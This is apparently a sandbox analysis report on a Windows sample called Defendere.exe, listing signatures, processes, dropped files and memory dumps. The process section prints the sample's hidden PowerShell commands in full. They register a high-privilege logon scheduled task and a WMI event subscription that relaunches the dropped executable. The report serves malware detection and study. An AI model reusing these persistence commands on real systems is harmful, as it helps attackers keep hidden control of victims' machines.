Analysis

  • user interaction
    yes
  • max time kernel
    3s
  • max time network
    12s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/06/2026, 08:57

General

  • Target
    Defendere.exe
  • Size 8.4MB
  • Sample260624-kwpbfabs3r
  • SHA256 a89676aa3bfb08a68ac0a668853e0f56512632e3034743d2771d476444c498e1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Defendere.exe
    "C:\Users\Admin\AppData\Local\Temp\Defendere.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Defendere_64964235' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5092
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe"
    1⤵
    • Drops startup file
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Defendere_64964235' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4912
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'Defendere_f64964235'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'Defendere_c64964235'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='Defendere_f64964235'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='Defendere_c64964235'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4788

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 bc4849c014cb53e50d04eb72319b2e4f9a09cb3acc7663110dac72caf47874c4
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 240B
        • SHA256 c57e24a9b3098929c447e11ca87e2c43c642fea19b512b378f7daa68c65d88fe
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 7bb8e8f5601c0776330e1d28e34bf380c6cd83814f2611cdb2efeb37f15880cb
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_10asg15j.r5b.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_10asg15j.r5b.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent-1991805936.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-1991805936.tmp
        • Size 8.4MB
        • SHA256 a89676aa3bfb08a68ac0a668853e0f56512632e3034743d2771d476444c498e1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4788-65-0x0000024468A30000-0x0000024468C4C000-memory.dmp

        memory/4912-53-0x0000026382280000-0x000002638249C000-memory.dmp

        memory/5092-30-0x0000023E77910000-0x0000023E7792C000-memory.dmp

        memory/5092-26-0x0000023E77830000-0x0000023E778E5000-memory.dmp

        memory/5092-27-0x0000023E77800000-0x0000023E7780A000-memory.dmp

        memory/5092-16-0x00007FF44A850000-0x00007FF44A860000-memory.dmp

        memory/5092-49-0x0000023E77490000-0x0000023E776AC000-memory.dmp

        memory/5092-15-0x0000023E77460000-0x0000023E77482000-memory.dmp

        memory/5092-7-0x0000023E752E0000-0x0000023E752F0000-memory.dmp

        memory/5092-25-0x0000023E77810000-0x0000023E7782C000-memory.dmp

        memory/5092-6-0x0000023E752E0000-0x0000023E752F0000-memory.dmp

        memory/5092-24-0x0000023E752E0000-0x0000023E752F0000-memory.dmp